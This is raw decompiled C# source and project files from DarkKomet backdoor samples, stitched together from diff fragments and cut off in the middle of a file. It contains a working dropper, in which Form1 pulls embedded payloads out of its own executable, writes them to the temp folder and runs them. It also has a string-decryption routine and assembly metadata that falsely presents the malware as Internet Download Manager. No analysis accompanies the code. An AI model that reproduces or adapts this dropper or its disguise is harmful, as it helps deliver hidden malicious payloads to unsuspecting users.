// Decompiled with JetBrains decompiler
// Type: 
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
internal static class \u000F
{
public static byte[] \u0002(byte[] _param0, byte[] _param1)
{
byte num1 = _param0[1];
int length = _param1.Length;
byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
ushort num4 = 0;
for (int index = 0; index < length; ++index)
{
if ((index & 1) == 0)
{
num3 = (uint) ((int) num3 * 214013 + 2531011);
num4 = (ushort) (num3 >> 16);
}
byte num5 = (byte) num4;
num4 >>= 8;
byte num6 = _param1[index];
_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
num2 = num6;
}
return _param1;
}
}
@@ -0,0 +1,167 @@
// Decompiled with JetBrains decompiler
// Type: _10_June.Form1
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace _10_June
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer \u0002;
[DebuggerNonUserCode]
public Form1()
{
this.Load += new EventHandler(this.\u0002);
this.\u0002();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.\u0002 == null)
return;
this.\u0002.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void \u0002()
{
this.\u0002 = (IContainer) new System.ComponentModel.Container();
this.AutoScaleMode = AutoScaleMode.Font;
this.Text = \u000E.\u0002(759806067);
}
private void \u0002(object _param1, EventArgs _param2)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_1:
int num3 = 2;
string tempPath = Path.GetTempPath();
label_2:
num3 = 3;
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
label_3:
num3 = 4;
string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_4:
num3 = 5;
FileSystem.FileGet(1, ref Expression);
label_5:
num3 = 6;
FileSystem.FileClose(1);
label_6:
num3 = 7;
string[] strArray = Strings.Split(Expression, \u000E.\u0002(759806079));
label_7:
num3 = 8;
FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite);
label_8:
num3 = 9;
FileSystem.FilePut(3, strArray[1], -1L, false);
label_9:
num3 = 10;
FileSystem.FileClose(3);
label_10:
num3 = 11;
FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite);
label_11:
num3 = 12;
FileSystem.FilePut(5, strArray[2], -1L, false);
label_12:
num3 = 13;
FileSystem.FileClose(5);
label_13:
num3 = 14;
Process.Start(tempPath + strArray[3]);
label_14:
num3 = 15;
Process.Start(tempPath + strArray[4]);
label_15:
num3 = 16;
this.Close();
ProjectData.EndApp();
goto label_22;
label_17:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_7;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_22;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_17;
}
throw ProjectData.CreateProjectError(-2146828237);
label_22:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
}
}
@@ -0,0 +1,73 @@
// Decompiled with JetBrains decompiler
// Type: _10_June.My.MySettings
// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2713F504-3EB6-448B-931C-99CD142737FF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Threading;
namespace _10_June.My
{
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
private static bool addedHandler;
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
[DebuggerNonUserCode]
public MySettings()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerNonUserCode]
private static void AutoSaveSettings(object sender, EventArgs e)
{
if (!\u0005.\u0002().SaveMySettingsOnExit)
return;
\u0006.\u0002().Save();
}
public static MySettings Default
{
get
{
if (!MySettings.addedHandler)
{
object handlerLockObject = MySettings.addedHandlerLockObject;
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
Monitor.Enter(handlerLockObject);
try
{
if (!MySettings.addedHandler)
{
\u0005.\u0002().Shutdown += (ShutdownEventHandler) ((sender, e) =>
{
if (!\u0005.\u0002().SaveMySettingsOnExit)
return;
\u0006.\u0002().Save();
});
MySettings.addedHandler = true;
}
}
finally
{
Monitor.Exit(handlerLockObject);
}
}
return MySettings.defaultInstance;
}
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,15 @@
using SmartAssembly.Attributes;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyCopyright("Tonec Inc., Copyright © 1999 - 2011")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("Internet Download Manager (IDM)")]
[assembly: AssemblyDescription("IDMan")]
[assembly: AssemblyCompany("Tonec Inc.")]
[assembly: AssemblyTitle("Internet Download Manager (IDM)")]
[assembly: AssemblyTrademark("Internet Download Manager")]
[assembly: AssemblyFileVersion("6.5.8.1")]
[assembly: Guid("ed21cb1e-a68f-46ba-9dee-b698d8a0942e")]
[assembly: PoweredBy("Powered by SmartAssembly 6.0.0.513")]
[assembly: AssemblyVersion("6.5.8.1")]
@@ -0,0 +1,245 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Idm</AssemblyName>
<ApplicationVersion>6.5.8.1</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Web.Services" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="_003CModule_003E.cs" />
<Compile Include="_001A_0002.cs" />
<Compile Include="_001B_0002.cs" />
<Compile Include="_001C_0002.cs" />
<Compile Include="_001D_0002.cs" />
<Compile Include="_001E_0002.cs" />
<Compile Include="_001F_0002.cs" />
<Compile Include="_007F_0002.cs" />
<Compile Include="_0080_0002.cs" />
<Compile Include="_0081_0002.cs" />
<Compile Include="_0082_0002.cs" />
<Compile Include="_0083_0002.cs" />
<Compile Include="_0084_0002.cs" />
<Compile Include="_0086_0002.cs" />
<Compile Include="_0087_0002.cs" />
<Compile Include="_0088_0002.cs" />
<Compile Include="_0089_0002.cs" />
<Compile Include="_008A_0002.cs" />
<Compile Include="_008B_0002.cs" />
<Compile Include="_008C_0002.cs" />
<Compile Include="_008D_0002.cs" />
<Compile Include="_008E_0002.cs" />
<Compile Include="_008F_0002.cs" />
<Compile Include="_0090_0002.cs" />
<Compile Include="_0091_0002.cs" />
<Compile Include="_0092_0002.cs" />
<Compile Include="_0093_0002.cs" />
<Compile Include="_0094_0002.cs" />
<Compile Include="_0095_0002.cs" />
<Compile Include="_0096_0002.cs" />
<Compile Include="_0097_0002.cs" />
<Compile Include="_0098_0002.cs" />
<Compile Include="_0099_0002.cs" />
<Compile Include="_009A_0002.cs" />
<Compile Include="_009B_0002.cs" />
<Compile Include="_009C_0002.cs" />
<Compile Include="_009D_0002.cs" />
<Compile Include="_009E_0002.cs" />
<Compile Include="_009F_0002.cs" />
<Compile Include="_0001_0003.cs" />
<Compile Include="_0002_0003.cs" />
<Compile Include="_0003_0003.cs" />
<Compile Include="_0004_0003.cs" />
<Compile Include="_0005_0003.cs" />
<Compile Include="_0006_0003.cs" />
<Compile Include="_0007_0003.cs" />
<Compile Include="_0008_0003.cs" />
<Compile Include="_000E_0003.cs" />
<Compile Include="_000F_0003.cs" />
<Compile Include="_0010_0003.cs" />
<Compile Include="_0011_0003.cs" />
<Compile Include="_0012_0003.cs" />
<Compile Include="_0013_0003.cs" />
<Compile Include="_0014_0003.cs" />
<Compile Include="_0015_0003.cs" />
<Compile Include="_0016_0003.cs" />
<Compile Include="_0017_0003.cs" />
<Compile Include="_0018_0003.cs" />
<Compile Include="_0019_0003.cs" />
<Compile Include="_001A_0003.cs" />
<Compile Include="_001B_0003.cs" />
<Compile Include="_001C_0003.cs" />
<Compile Include="_001D_0003.cs" />
<Compile Include="_001E_0003.cs" />
<Compile Include="_001F_0003.cs" />
<Compile Include="_007F_0003.cs" />
<Compile Include="_0080_0003.cs" />
<Compile Include="_0081_0003.cs" />
<Compile Include="_0082_0003.cs" />
<Compile Include="_0083_0003.cs" />
<Compile Include="_0084_0003.cs" />
<Compile Include="_0086_0003.cs" />
<Compile Include="_0087_0003.cs" />
<Compile Include="_0088_0003.cs" />
<Compile Include="_0089_0003.cs" />
<Compile Include="_008A_0003.cs" />
<Compile Include="_008B_0003.cs" />
<Compile Include="_008C_0003.cs" />
<Compile Include="_008D_0003.cs" />
<Compile Include="_008E_0003.cs" />
<Compile Include="_008F_0003.cs" />
<Compile Include="_0090_0003.cs" />
<Compile Include="_0091_0003.cs" />
<Compile Include="_0092_0003.cs" />
<Compile Include="_0093_0003.cs" />
<Compile Include="_0094_0003.cs" />
<Compile Include="_0095_0003.cs" />
<Compile Include="_0096_0003.cs" />
<Compile Include="_0097_0003.cs" />
<Compile Include="_0098_0003.cs" />
<Compile Include="_0099_0003.cs" />
<Compile Include="_009A_0003.cs" />
<Compile Include="_009B_0003.cs" />
<Compile Include="_009C_0003.cs" />
<Compile Include="_009D_0003.cs" />
<Compile Include="_009E_0003.cs" />
<Compile Include="_009F_0003.cs" />
<Compile Include="_0001_0004.cs" />
<Compile Include="_0002_0004.cs" />
<Compile Include="_0003_0004.cs" />
<Compile Include="_0004_0004.cs" />
<Compile Include="_0005_0004.cs" />
<Compile Include="_0006_0004.cs" />
<Compile Include="_0007_0004.cs" />
<Compile Include="_0008_0004.cs" />
<Compile Include="_000E_0004.cs" />
<Compile Include="_000F_0004.cs" />
<Compile Include="_0010_0004.cs" />
<Compile Include="_0011_0004.cs" />
<Compile Include="_0012_0004.cs" />
<Compile Include="_0013_0004.cs" />
<Compile Include="_0014_0004.cs" />
<Compile Include="_0015_0004.cs" />
<Compile Include="_0016_0004.cs" />
<Compile Include="_0017_0004.cs" />
<Compile Include="_0018_0004.cs" />
<Compile Include="_0019_0004.cs" />
<Compile Include="_001A_0004.cs" />
<Compile Include="_001B_0004.cs" />
<Compile Include="_001C_0004.cs" />
<Compile Include="_001D_0004.cs" />
<Compile Include="_001E_0004.cs" />
<Compile Include="_001F_0004.cs" />
<Compile Include="_007F_0004.cs" />
<Compile Include="_0080_0004.cs" />
<Compile Include="_0081_0004.cs" />
<Compile Include="_0082_0004.cs" />
<Compile Include="_0083_0004.cs" />
<Compile Include="_0084_0004.cs" />
<Compile Include="_0086_0004.cs" />
<Compile Include="_0087_0004.cs" />
<Compile Include="_0088_0004.cs" />
<Compile Include="_0089_0004.cs" />
<Compile Include="_008A_0004.cs" />
<Compile Include="_008B_0004.cs" />
<Compile Include="_008C_0004.cs" />
<Compile Include="_008D_0004.cs" />
<Compile Include="_008E_0004.cs" />
<Compile Include="_008F_0004.cs" />
<Compile Include="_0090_0004.cs" />
<Compile Include="_0091_0004.cs" />
<Compile Include="_0092_0004.cs" />
<Compile Include="_0093_0004.cs" />
<Compile Include="_0094_0004.cs" />
<Compile Include="_0095_0004.cs" />
<Compile Include="_0096_0004.cs" />
<Compile Include="_0097_0004.cs" />
<Compile Include="_0098_0004.cs" />
<Compile Include="_0099_0004.cs" />
<Compile Include="_0096_0004\_0095_0004.cs" />
<Compile Include="_0007\_0006.cs" />
<Compile Include="_0008\_00084.cs" />
<Compile Include="_0008\_00083.cs" />
<Compile Include="_0008\_00082.cs" />
<Compile Include="_0008\_0008.cs" />
<Compile Include="_0008\_0006_0002.cs" />
<Compile Include="_0008\_001E_0004.cs" />
<Compile Include="_0010\_000F.cs" />
<Compile Include="_0090\_008F.cs" />
<Compile Include="_0012\_0011.cs" />
<Compile Include="_0012\_0013.cs" />
<Compile Include="_0012\_0014.cs" />
<Compile Include="_000E\_007F.cs" />
<Compile Include="_0006_0002\_0008.cs" />
<Compile Include="_0006_0002\_0006_0002.cs" />
<Compile Include="_0006_0002\_001E_0004.cs" />
<Compile Include="_007F_0004\_001F_0004.cs" />
<Compile Include="_007F_0004\_0080_0004.cs" />
<Compile Include="_007F_0004\_0081_0004.cs" />
<Compile Include="_007F_0004\_0082_0004.cs" />
<Compile Include="_007F_0004\_0084_0004.cs" />
<Compile Include="_007F_0004\_0086_0004.cs" />
<Compile Include="_007F_0004\_0087_0004.cs" />
<Compile Include="_007F_0004\_0089_0004.cs" />
<Compile Include="_007F_0004\_0091_0004.cs" />
<Compile Include="_007F_0004\_0093_0004.cs" />
<Compile Include="SmartAssembly\SmartExceptionsCore\SmartStackFrame.cs" />
<Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
<Compile Include="Idm\My\MySettings.cs" />
<Compile Include="_001C_0004\_009B.cs" />
<Compile Include="_001C_0004\_009D.cs" />
<Compile Include="_001B_0004\_0091.cs" />
<Compile Include="_001B_0004\_0093.cs" />
<Compile Include="_001B_0004\_0094.cs" />
<Compile Include="_001B_0004\_0001_0002.cs" />
<Compile Include="_001A_0006\_0019_0006.cs" />
<Compile Include="_0092_0004\_0006_0002.cs" />
<Compile Include="_0092_0004\_001E_0004.cs" />
<Compile Include="_0003\_0002.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="{3b5b0266-7005-4590-8529-9827ff51efb1}" />
<EmbeddedResource Include="{8a2cc06e-b699-4a98-98ee-08831fc9c995}" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\{logo}.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\current.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\data.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\default.ico" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\error.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\error16.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\network.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\ok.png" />
<EmbeddedResource Include="SmartAssembly\SmartExceptionsCore\Resources\warning16.png" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Idm", "Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.csproj", "{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8F169AE4-7D42-4C0A-93A6-13C78CF48A05}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,144 @@
// Decompiled with JetBrains decompiler
// Type: Idm.My.MySettings
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u001B\u0004;
using \u007F\u0004;
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace Idm.My
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings \u0001;
private static bool \u0002;
private static object \u0003;
static MySettings()
{
try
{
// ISSUE: reference to a compiler-generated field
// ISSUE: object of a compiler-generated type is created
MySettings.\u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
// ISSUE: reference to a compiler-generated field
MySettings.\u0003 = RuntimeHelpers.GetObjectValue(new object());
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
[DebuggerNonUserCode]
public MySettings()
{
try
{
}
catch (Exception ex)
{
\u0089\u0004.\u0018\u0005(ex, (object) this);
throw;
}
}
[DebuggerNonUserCode]
[EditorBrowsable(EditorBrowsableState.Advanced)]
private static void \u0018\u0004(object sender, EventArgs e)
{
bool mySettingsOnExit;
try
{
mySettingsOnExit = \u0094.\u001B\u0003().SaveMySettingsOnExit;
if (!mySettingsOnExit)
return;
// ISSUE: reference to a compiler-generated method
\u001A\u0002.\u007E\u0082((object) \u0001\u0002.\u001A\u0004());
}
catch (Exception ex)
{
// ISSUE: variable of a boxed type
__Boxed<bool> local = (ValueType) mySettingsOnExit;
object obj = sender;
EventArgs eventArgs = e;
\u0089\u0004.\u001A\u0005(ex, (object) local, obj, (object) eventArgs);
throw;
}
}
public static MySettings Default
{
get
{
object obj1;
bool flag;
try
{
flag = !MySettings.\u0002;
if (flag)
{
obj1 = MySettings.\u0003;
\u001A\u0002.\u0005\u0007(obj1);
\u001A\u0002.\u0014\u0004(obj1);
try
{
flag = !MySettings.\u0002;
if (flag)
{
\u0080\u0004.\u007E\u0092\u0006((object) \u0094.\u001B\u0003(), (ShutdownEventHandler) ((sender, e) =>
{
bool mySettingsOnExit;
try
{
mySettingsOnExit = \u0094.\u001B\u0003().SaveMySettingsOnExit;
if (!mySettingsOnExit)
return;
\u001A\u0002.\u007E\u0082((object) \u0001\u0002.\u001A\u0004());
}
catch (Exception ex)
{
__Boxed<bool> local = (ValueType) mySettingsOnExit;
object obj2 = sender;
EventArgs eventArgs = e;
\u0089\u0004.\u001A\u0005(ex, (object) local, obj2, (object) eventArgs);
throw;
}
}));
MySettings.\u0002 = true;
}
}
finally
{
\u001A\u0002.\u0015\u0004(obj1);
}
}
MySettings mySettings1 = MySettings.\u0001;
MySettings mySettings2 = mySettings1;
return mySettings2;
}
catch (Exception ex)
{
MySettings mySettings3;
MySettings mySettings4 = mySettings3;
object obj3 = obj1;
__Boxed<bool> local = (ValueType) flag;
\u0089\u0004.\u001A\u0005(ex, (object) mySettings4, obj3, (object) local);
throw;
}
}
}
}
}
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.PoweredByAttribute
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u007F\u0004;
using System;
namespace SmartAssembly.Attributes
{
public sealed class PoweredByAttribute : Attribute
{
public PoweredByAttribute(string s)
{
try
{
}
catch (Exception ex)
{
string str = s;
\u0089\u0004.\u0019\u0005(ex, (object) this, (object) str);
throw;
}
}
}
}
@@ -0,0 +1,129 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.SmartExceptionsCore.SmartStackFrame
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u0003;
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace SmartAssembly.SmartExceptionsCore
{
[Serializable]
public class SmartStackFrame : ISerializable
{
public const string NotSerializable = "Non-serializable object's string representation: '{0}'";
public readonly int MethodID;
public readonly object[] Objects;
public readonly int ILOffset;
public readonly int ExceptionStackDepth;
public virtual void GetObjectData([In] SerializationInfo obj0, [In] StreamingContext obj1)
{
obj0.AddValue(\u0002.\u0002\u0002(2144), (object) this.MethodID, typeof (int));
// ISSUE: type reference
\u0001\u0004.\u007E\u008E\u0005((object) obj0, \u0002.\u0002\u0002(2181), (object) this.ILOffset, \u0082\u0003.\u008C\u0003(__typeref (int)));
// ISSUE: type reference
\u0001\u0004.\u007E\u008E\u0005((object) obj0, \u0002.\u0002\u0002(2218), (object) this.ExceptionStackDepth, \u0082\u0003.\u008C\u0003(__typeref (int)));
int num1 = this.Objects == null ? 0 : this.Objects.Length;
if (true)
goto label_8;
label_1:
int num2;
// ISSUE: type reference
\u0001\u0004.\u007E\u008E\u0005((object) obj0, \u0002.\u0002\u0002(2271), (object) num2, \u0082\u0003.\u008C\u0003(__typeref (int)));
if (true)
goto label_9;
label_7:
int index;
for (; index < num2; ++index)
{
string str1 = \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2316), (object) index);
if (true)
goto label_10;
label_4:
string str2;
try
{
SmartStackFrame.\u0006\u0002(obj0, str2, this.Objects[index]);
continue;
}
catch (Exception ex)
{
object obj = (object) \u0002.\u0002\u0002(2361);
SmartStackFrame.\u0006\u0002(obj0, str2, obj);
continue;
}
label_10:
str2 = str1;
goto label_4;
}
return;
label_9:
index = 0;
goto label_7;
label_8:
num2 = num1;
goto label_1;
}
private static void \u0006\u0002([In] SerializationInfo obj0, [In] string obj1, [In] object obj2)
{
try
{
if (obj2.GetType().IsSerializable)
goto label_3;
label_2:
obj2 = (object) \u0097\u0002.\u001B\u0002(\u0002.\u0002\u0002(2462), obj2);
label_3:
if (true)
{
// ISSUE: type reference
\u0001\u0004.\u007E\u008E\u0005((object) obj0, obj1, obj2, \u0082\u0003.\u008C\u0003(__typeref (object)));
}
else
goto label_2;
}
catch (SerializationException ex)
